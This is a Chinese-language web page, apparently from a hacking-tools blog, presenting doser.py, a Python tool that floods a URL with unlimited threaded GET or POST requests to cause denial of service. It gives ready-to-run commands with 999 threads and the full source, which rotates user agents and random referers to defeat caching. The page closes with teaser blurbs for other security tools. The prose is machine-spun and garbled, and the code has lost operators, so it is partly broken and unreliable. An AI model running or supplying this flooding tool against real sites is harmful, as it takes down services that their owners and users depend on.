Denial of Service (DoS)是分布式系统拒绝服务攻击攻击器;
doser.py是一款用Python撰写的于HTTP或HTTPS恳求的DoS专用工具;主要是对于有“application-denial-of-service (程序运行拒绝服务攻击(Dos))"系统漏洞的网址;
使用 ***
doser.py [-h] [-g G] [-p P] [-d D] [-ah AH] [-t T]
可选主要参数:
-h,--help 显示信息此协助信息内容并撤出
-g 特定GET恳求。 使用 *** :-g'<url>'
-p 特定POST恳求。 使用 *** :-p'<url>'
-d 为POST恳求特定数据信息重力梯度
-ah 特定addtional题目
-t 特定要应用的线程数
1、999个进程推送GET恳求:
python doser.py -t 999 -g 'https://www.fujieace.com'
2、999个进程应用json数据信息推送POST恳求:
python doser.py -t 999 -p 'https://www.fujieace.com' -ah 'Content-Type: application/json' -d '{"json": "payload"}'
1、github网站地址:https://github.com/Quitten/doser.py
2、doser.py编码:
import requests
import sys
import threading
import random
import re
import argparse
host=''
headers_useragents=[]
request_counter=0
printedMsgs = []
def printMsg(msg):
if msg not in printedMsgs:
print ("\n" msg " after %i requests" % request_counter)
printedMsgs.append(msg)
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)
def randomString(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str = chr(a)
return(out_str)
def initHeaders():
useragent_list()
global headers_useragents, additionalHeaders
headers = {
'User-Agent': random.choice(headers_useragents),
'Cache-Control': 'no-cache',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Referer': 'http://www.google.com/
?q=' randomString(random.randint(5,10)),
'Keep-Alive': str(random.randint(110,120)),
'Connection': 'keep-alive'
}
if additionalHeaders:
for header in additionalHeaders:
headers.update({header.split(":")[0]:header.split(":")[1]})
return headers
def handleStatusCodes(status_code):
global request_counter
sys.stdout.write("\r%i requests has been sent" % request_counter)
sys.stdout.flush()
if status_code == 429:
printMsg("You have been throttled")
if status_code == 500:
printedMsg("Status code 500 received")
def sendGET(url):
global request_counter
headers = initHeaders()
try:
request_counter =1
request = requests.get(url, headers=headers)
# print 'her'
handleStatusCodes(request.status_code)
except:
pass
def sendPOST(url, payload):
global request_counter
headers = initHeaders()
try:
request_counter =1
if payload:
request = requests.post(url, data=payload, headers=headers)
else:
request = requests.post(url, headers=headers)
handleStatusCodes(request.status_code)
except:
pass
class SendGETThread(threading.Thread):
def run(self):
try:
while True:
global url
sendGET(url)
except:
pass
class SendPOSTThread(threading.Thread):
def run(self):
try:
while True:
global url, payload
sendPOST(url, payload)
except:
pass
# TODO:
# check if the site stop responding and alert
def main(argv):
parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily')
parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')
parser.add_argument('-p', help='Specify POST request. Usage: -p \'<url>\'')
parser.add_argument('-d', help='Specify data payload for POST request', default=None)
parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*')
parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)
args = parser.parse_args()
global url, payload, additionalHeaders
additionalHeaders = args.ah
payload = args.d
if args.g:
url = args.g
for i in range(args.t):
t = SendGETThread()
t.start()
if args.p:
url = args.p
for i in range(args.t):
t = SendPOSTThread()
t.start()
if len(sys.argv)==1:
parser.print_help()
exit()
if __name__ == "__main__":
main(sys.argv[1:])
什么叫Tripwire? Tripwire是一个文件目录和文档md5验证器。此专用工具可协助计算机管理员和客户查验特定的文档集以开展变更。该专用工具能够 通告管理人员是不是有伪造或毁坏的文档,因而能...
什么叫Kismac? KisMAC是wifi网络发觉黑客工具。虽然代码库是不一样的,但这类时兴的无线网络拦路虎出示了其名字Kismet的好多个作用。这一专用工具出示了一个好看的GUI,而且在Kism...
什么叫Firebug? Firebug是一款完全免费的开源系统Web浏览器扩展程序流程,现阶段在Firefox和Chrome上工作中。Firebug尽管不是说“黑客工具”,但协助网站渗透测试员掌握一...
Autopsy 汉语翻译回来也叫“验尸”; 什么叫验尸? 验尸是一种在GUI工作环境的数据调查取证服务平台。“The Sleuth Kit(TSK)”库文件的验尸工作中是一组cmd调查...
什么叫Truecrypt? TrueCrypt在2017年五月淘汰以前是一款出色的开源系统磁盘加密系统软件。客户能够 根据键入客户建立的登陆密码语句来对其全部系统文件开展数据加密。它还具备容许客户掩...
Charles的应用,我也已不多讲过,通俗化的讲:Charles便是一款抓包软件。 能够参照Charles抓包软件剖析实例教程: https://www.fujieace.com/hacker/ch...